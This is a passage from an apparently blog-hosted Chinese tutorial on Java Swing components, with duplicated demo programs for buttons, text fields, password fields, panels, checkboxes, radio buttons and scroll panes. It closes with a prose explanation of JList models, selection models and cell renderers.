public void actionPerformed( ActionEvent e){
try{
Runtime.getRuntime().exec("cmd /c start http://www.baidu.com");
}catch( IOException ee ){
ee.printStackTrace();
}
}
});
simpleButton.setCursor( new Cursor(Cursor.HAND_CURSOR) );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JButtonDemo();
}
}

4.JTextField
一个文本框

Java代码
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JTextFieldDemo
{
JFrame mainFrame;
JTextField simpleTextField;
public JTextFieldDemo() {
mainFrame = new JFrame ( "JTextFieldDemo" );
simpleTextField = new JTextField(20);//构造宽度为20个字符的文本框
mainFrame.getContentPane().add( simpleTextField );
simpleTextField.addActionListener( new ActionListener(){//在输入字符后按回车执行行代码,在标准输出窗口输出它的内容
public void actionPerformed( ActionEvent e){
System.out.println( simpleTextField.getText() );
}
});
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JTextFieldDemo();
}
}
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JTextFieldDemo
{
JFrame mainFrame;
JTextField simpleTextField;
public JTextFieldDemo() {
mainFrame = new JFrame ( "JTextFieldDemo" );
simpleTextField = new JTextField(20);//构造宽度为20个字符的文本框
mainFrame.getContentPane().add( simpleTextField );
simpleTextField.addActionListener( new ActionListener(){//在输入字符后按回车执行行代码,在标准输出窗口输出它的内容
public void actionPerformed( ActionEvent e){
System.out.println( simpleTextField.getText() );
}
});
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JTextFieldDemo();
}
}

5.JTextArea
文本区域,与文本框不同的是它是多行的

Java代码
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;

class JTextAreaDemo
{
JFrame mainFrame;
JTextArea simpleTextArea;
JButton appendButton;
public JTextAreaDemo() {
mainFrame = new JFrame ( "JTextAreaDemo" );
simpleTextArea = new JTextArea(10,20);//创建一个显示10行20列的文本域
simpleTextArea.setLineWrap(true);//设置它自动换行
simpleTextArea.setWrapStyleWord(true);//设置它自动换行时根据单词换行,而不是根据字符
appendButton = new JButton ("append text to the text area");
mainFrame.getContentPane().add( simpleTextArea,BorderLayout.PAGE_START );
mainFrame.getContentPane().add( appendButton,BorderLayout.PAGE_END );
appendButton.addActionListener( new ActionListener(){
public void actionPerformed( ActionEvent e){
simpleTextArea.append("button appended text here");
System.out.println( simpleTextArea.getText() );
}
});
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JTextAreaDemo();
}
}
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;

class JTextAreaDemo
{
JFrame mainFrame;
JTextArea simpleTextArea;
JButton appendButton;
public JTextAreaDemo() {
mainFrame = new JFrame ( "JTextAreaDemo" );
simpleTextArea = new JTextArea(10,20);//创建一个显示10行20列的文本域
simpleTextArea.setLineWrap(true);//设置它自动换行
simpleTextArea.setWrapStyleWord(true);//设置它自动换行时根据单词换行,而不是根据字符
appendButton = new JButton ("append text to the text area");
mainFrame.getContentPane().add( simpleTextArea,BorderLayout.PAGE_START );
mainFrame.getContentPane().add( appendButton,BorderLayout.PAGE_END );
appendButton.addActionListener( new ActionListener(){
public void actionPerformed( ActionEvent e){
simpleTextArea.append("button appended text here");
System.out.println( simpleTextArea.getText() );
}
});
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JTextAreaDemo();
}
}

6.JPasswordField

Java代码
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;

class JPasswordFieldDemo
{
JFrame mainFrame;
JPasswordField simplePasswordField;
public JPasswordFieldDemo() {
mainFrame = new JFrame ( "JPasswordFieldDemo" );
simplePasswordField = new JPasswordField(10);
simplePasswordField.setEchoChar('*');//设定要显示的字符
mainFrame.getContentPane().add( simplePasswordField );
simplePasswordField.addActionListener( new ActionListener(){//回车时执行的动作
public void actionPerformed( ActionEvent e){
char[] input = simplePasswordField.getPassword();
for( char c : input )
System.out.print( c );
}
});
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JPasswordFieldDemo();
}
}
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;

class JPasswordFieldDemo
{
JFrame mainFrame;
JPasswordField simplePasswordField;
public JPasswordFieldDemo() {
mainFrame = new JFrame ( "JPasswordFieldDemo" );
simplePasswordField = new JPasswordField(10);
simplePasswordField.setEchoChar('*');//设定要显示的字符
mainFrame.getContentPane().add( simplePasswordField );
simplePasswordField.addActionListener( new ActionListener(){//回车时执行的动作
public void actionPerformed( ActionEvent e){
char[] input = simplePasswordField.getPassword();
for( char c : input )
System.out.print( c );
}
});
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JPasswordFieldDemo();
}
}

7.JPanel
一个面板.一般用作控制组件的布局.

Java代码
package blog.swing;
import javax.swing.*;

class JPanelDemo
{
JFrame mainFrame;
JPanel simplePanel;
JButton simpleButton;
JLabel simpleLabel;
public JPanelDemo() {
mainFrame = new JFrame ( "JPanelDemo" );
simplePanel = new JPanel();
simpleButton = new JButton ("button");
simpleLabel = new JLabel ("label");
simplePanel.add( simpleLabel );
simplePanel.add( simpleButton );
mainFrame.getContentPane().add( simplePanel );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JPanelDemo();
}
}
package blog.swing;
import javax.swing.*;

class JPanelDemo
{
JFrame mainFrame;
JPanel simplePanel;
JButton simpleButton;
JLabel simpleLabel;
public JPanelDemo() {
mainFrame = new JFrame ( "JPanelDemo" );
simplePanel = new JPanel();
simpleButton = new JButton ("button");
simpleLabel = new JLabel ("label");
simplePanel.add( simpleLabel );
simplePanel.add( simpleButton );
mainFrame.getContentPane().add( simplePanel );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JPanelDemo();
}
}

8.JCheckBox
复选框

Java代码
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JCheckBoxDemo implements ItemListener
{
JFrame mainFrame;
JPanel mainPanel;
JCheckBox simpleCheckBox1;
JCheckBox simpleCheckBox2;
public JCheckBoxDemo() {
mainFrame = new JFrame ( "JCheckBoxDemo" );
mainPanel = new JPanel ();
simpleCheckBox1 = new JCheckBox("checkbox1");
simpleCheckBox1.setMnemonic('1');
simpleCheckBox1.addItemListener(this);
simpleCheckBox2 = new JCheckBox("checkbox2");
simpleCheckBox2.setMnemonic('2');
simpleCheckBox2.addItemListener(this);
mainPanel.add(simpleCheckBox1);
mainPanel.add(simpleCheckBox2);
mainFrame.getContentPane().add( mainPanel );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public void itemStateChanged( ItemEvent e ){
JCheckBox cb = (JCheckBox)e.getSource();
if( cb== simpleCheckBox1 )
System.out.println( "simpleCheckBox1" );
else
System.out.println( "simpleCheckBox2" );
}
public static void main(String[] args)
{
new JCheckBoxDemo();
}
}
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JCheckBoxDemo implements ItemListener
{
JFrame mainFrame;
JPanel mainPanel;
JCheckBox simpleCheckBox1;
JCheckBox simpleCheckBox2;
public JCheckBoxDemo() {
mainFrame = new JFrame ( "JCheckBoxDemo" );
mainPanel = new JPanel ();
simpleCheckBox1 = new JCheckBox("checkbox1");
simpleCheckBox1.setMnemonic('1');
simpleCheckBox1.addItemListener(this);
simpleCheckBox2 = new JCheckBox("checkbox2");
simpleCheckBox2.setMnemonic('2');
simpleCheckBox2.addItemListener(this);
mainPanel.add(simpleCheckBox1);
mainPanel.add(simpleCheckBox2);
mainFrame.getContentPane().add( mainPanel );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public void itemStateChanged( ItemEvent e ){
JCheckBox cb = (JCheckBox)e.getSource();
if( cb== simpleCheckBox1 )
System.out.println( "simpleCheckBox1" );
else
System.out.println( "simpleCheckBox2" );
}
public static void main(String[] args)
{
new JCheckBoxDemo();
}
}

9.JRadioButton
单选按钮.单选按钮要用到ButtonGroup.添加到同一个ButtonGroup的单选按钮表示在它们之间只可选其一.不同ButtonGroup里的单选按钮相互之间的选择不受影响.

Java代码
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JRadioButtonDemo implements ItemListener
{
JFrame mainFrame;
JPanel mainPanel;
ButtonGroup buttonGroup;
JRadioButton simpleRadioButton1;
JRadioButton simpleRadioButton2;
public JRadioButtonDemo() {
mainFrame = new JFrame ( "JRadioButtonDemo" );
mainPanel = new JPanel ();
simpleRadioButton1 = new JRadioButton("RadioButton1");
simpleRadioButton1.setMnemonic('1');
simpleRadioButton1.addItemListener(this);
simpleRadioButton2 = new JRadioButton("RadioButton2");
simpleRadioButton2.setMnemonic('2');
simpleRadioButton2.addItemListener(this);
buttonGroup = new ButtonGroup();
buttonGroup.add(simpleRadioButton1);
buttonGroup.add(simpleRadioButton2);
mainPanel.add(simpleRadioButton1);
mainPanel.add(simpleRadioButton2);
mainFrame.getContentPane().add( mainPanel );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public void itemStateChanged( ItemEvent e ){
JRadioButton cb = (JRadioButton)e.getSource();
if( cb== simpleRadioButton1 )
System.out.println( "simpleRadioButton1" );
else
System.out.println( "simpleRadioButton2" );
}
public static void main(String[] args)
{
new JRadioButtonDemo();
}
}
package blog.swing;
import javax.swing.*;
import java.awt.event.*;

class JRadioButtonDemo implements ItemListener
{
JFrame mainFrame;
JPanel mainPanel;
ButtonGroup buttonGroup;
JRadioButton simpleRadioButton1;
JRadioButton simpleRadioButton2;
public JRadioButtonDemo() {
mainFrame = new JFrame ( "JRadioButtonDemo" );
mainPanel = new JPanel ();
simpleRadioButton1 = new JRadioButton("RadioButton1");
simpleRadioButton1.setMnemonic('1');
simpleRadioButton1.addItemListener(this);
simpleRadioButton2 = new JRadioButton("RadioButton2");
simpleRadioButton2.setMnemonic('2');
simpleRadioButton2.addItemListener(this);
buttonGroup = new ButtonGroup();
buttonGroup.add(simpleRadioButton1);
buttonGroup.add(simpleRadioButton2);
mainPanel.add(simpleRadioButton1);
mainPanel.add(simpleRadioButton2);
mainFrame.getContentPane().add( mainPanel );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public void itemStateChanged( ItemEvent e ){
JRadioButton cb = (JRadioButton)e.getSource();
if( cb== simpleRadioButton1 )
System.out.println( "simpleRadioButton1" );
else
System.out.println( "simpleRadioButton2" );
}
public static void main(String[] args)
{
new JRadioButtonDemo();
}
}

10.JScrollPane
JScrollPane由四个角,两个头部,和一个视口组成.四个角和两个头部都是由Component组成.四个角并不是总是显示出来的.左上角只有当两个头部同时存在才显示,右下角只有两个滚动条同时出现才会出现.其他两个角可同理知道什么时候会出现.视口是显示内容的部分,由 JViewport对象表示.而真正显示的内容,由JViewport的view表示

Java代码
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;

class JScrollPaneDemo
{
JFrame mainFrame;
JScrollPane simpleScrollPane;
JTextArea simpleTextArea;
JButton changeViewport;
public JScrollPaneDemo() {
mainFrame = new JFrame ( "JScrollPaneDemo" );
simpleTextArea = new JTextArea(10,20);
simpleScrollPane = new JScrollPane( simpleTextArea );//创建一个滚动窗格,里面显示的内容是文本区域
simpleScrollPane.setRowHeaderView( new JLabel ("this is a row header") );//设置行标题
simpleScrollPane.setColumnHeaderView( new JLabel ("this is a column header") );//设置列标题
simpleScrollPane.setCorner( JScrollPane.LOWER_RIGHT_CORNER,new JButton("corner") );//设置右下角
simpleScrollPane.setCorner( JScrollPane.UPPER_LEFT_CORNER,new JButton("corner") );//设置左上角
changeViewport = new JButton ("changeViewport");
changeViewport.addActionListener( new ActionListener(){//当单击按钮时,滚动窗口显示的内容变为另一个文本区域
public void actionPerformed( ActionEvent e){
simpleScrollPane.getViewport().setView( new JTextArea("changeViewpot") );
}
});
mainFrame.getContentPane().add( simpleScrollPane,BorderLayout.PAGE_START );
mainFrame.getContentPane().add( changeViewport,BorderLayout.PAGE_END );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JScrollPaneDemo();
}
}
package blog.swing;
import java.awt.*;
import javax.swing.*;
import java.awt.event.*;

class JScrollPaneDemo
{
JFrame mainFrame;
JScrollPane simpleScrollPane;
JTextArea simpleTextArea;
JButton changeViewport;
public JScrollPaneDemo() {
mainFrame = new JFrame ( "JScrollPaneDemo" );
simpleTextArea = new JTextArea(10,20);
simpleScrollPane = new JScrollPane( simpleTextArea );//创建一个滚动窗格,里面显示的内容是文本区域
simpleScrollPane.setRowHeaderView( new JLabel ("this is a row header") );//设置行标题
simpleScrollPane.setColumnHeaderView( new JLabel ("this is a column header") );//设置列标题
simpleScrollPane.setCorner( JScrollPane.LOWER_RIGHT_CORNER,new JButton("corner") );//设置右下角
simpleScrollPane.setCorner( JScrollPane.UPPER_LEFT_CORNER,new JButton("corner") );//设置左上角
changeViewport = new JButton ("changeViewport");
changeViewport.addActionListener( new ActionListener(){//当单击按钮时,滚动窗口显示的内容变为另一个文本区域
public void actionPerformed( ActionEvent e){
simpleScrollPane.getViewport().setView( new JTextArea("changeViewpot") );
}
});
mainFrame.getContentPane().add( simpleScrollPane,BorderLayout.PAGE_START );
mainFrame.getContentPane().add( changeViewport,BorderLayout.PAGE_END );
mainFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );
mainFrame.pack();
mainFrame.setLocationRelativeTo(null);
mainFrame.setVisible( true );
}
public static void main(String[] args)
{
new JScrollPaneDemo();
}
}

现在开始讲相对复杂一点的组件
11.JList
JList是一个列表.这里将首次引入Model这个概念,中文翻译是模型,不好理解,其实就是数据的意思.JList用ListModel保存它的数据.简单应用可以用实现了ListModel的AbstraceListModel的子类DefaultListModel来保存它的数据(尽管它的名字有Default,但是只有你使用了它创建JList,它才存在.即如果你没有用DefaultListModel创建JList,则你用 getModel()返回的ListModel不能强制转换为DefaultListModel).
很多组件的Model都有这种结构,即 XXXModel--AbstractXXXModel--DefaultXXXModel
下面讲一下DefaultListModel,它的方法基本上和Vector<E>一样,另外添加了一个Object getElementAt(int index)
添加元素: void add(int index, Object element),void addElement(Object obj),void insertElementAt(Object obj, int index)
删除元素: Object remove(int index),boolean removeElement(Object obj),void removeElementAt(int index),
void removeAllElements(),void removeRange(int fromIndex, int toIndex),void clear()
查询元素: Object elementAt(int index),Object get(int index),Object getElementAt(int index), Object firstElement(),Object lastElement()
修改元素: Object set(int index, Object element),void setElementAt(Object obj, int index)
JList自身没有对单个元素处理的方法,只有void setListData(Object[] listData),void setListData(Vector<?> listData),void setModel(ListModel model)
来设置全部元素的方法
当要对单个元素进行处理时,用ListModel getModel()返回Model后,再对Model操作
通过void addListDataListener(ListDataListener l)可以在ListModel被修改时被通知
和JList相关的还有ListSelectionModel,它管理JList的选择项.它没有AbstractListSelectionModel这个子类,而直接有一个DefaultListSelectionModel这个实现类,
JList默认也是使用的这个实现类. 和上面讲的DefaultListModel不同,这个Model不用你自己创建就已存在.
通过void addListSelectionListener(ListSelectionListener x)可以在选择改变时被通知.
void setSelectionMode(int selectionMode)可以设置多选(待续或非连续)或是单选
DefaultListSelectionModel没有返回选择了的元素的方法,它只负责去选择哪些项
修改选择项的方法:
void addSelectionInterval(int index0, int index1),
void removeSelectionInterval(int index0, int index1)
void setSelectionInterval(int index0, int index1)
void clearSelection()
下面这两个方法在ListModel被更改时更改选择项会更方便,因为不用根据ListModel的变动计算索引
void removeIndexInterval(int index0, int index1)
void insertIndexInterval(int index, int length, boolean before)
另外的一些方法
int getMaxSelectionIndex(),int getMinSelectionIndex()
boolean isSelectedIndex(int index),boolean isSelectionEmpty()
很多在DefaultListSelectionModel里的方法,在JList自身里也有.例如上面的XXXSelectionInnterval(...)和addListSelectionListener(...)
另外它还有:
int getSelectedIndex(),int[] getSelectedIndices()
Object getSelectedValue(), Object[] getSelectedValues()
void setSelectedIndex(int index),void setSelectedIndices(int[] indices)
void setSelectedValue(Object anObject, boolean shouldScroll)
最后一个内容是,自定义JList
默认JList显示的内容是String.在创建它的时候,如果你把其他非String的对象传给它要它显示,它会调用toString,然后显示返回的String.
通过void setCellRenderer(ListCellRenderer cellRenderer)可以自定义JList显示内容的类型.
参数是一个"渲染器".很多组件在自定义的时候都是用渲染器来实现的.它只一个方法:
Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus)
下面举例说明一下它如何工作:假设你调用了setCellRenderer,而且把"label"这个String传给JList要它显示.那么"label"这个值就会传给上面这个方法的value这个值.
这时你可以用"label"构造一个组件,然后返回.例如,你可以JLabel label = new JLabel( (String)value ); return label.这样,在JList就会显示一个JLabel了.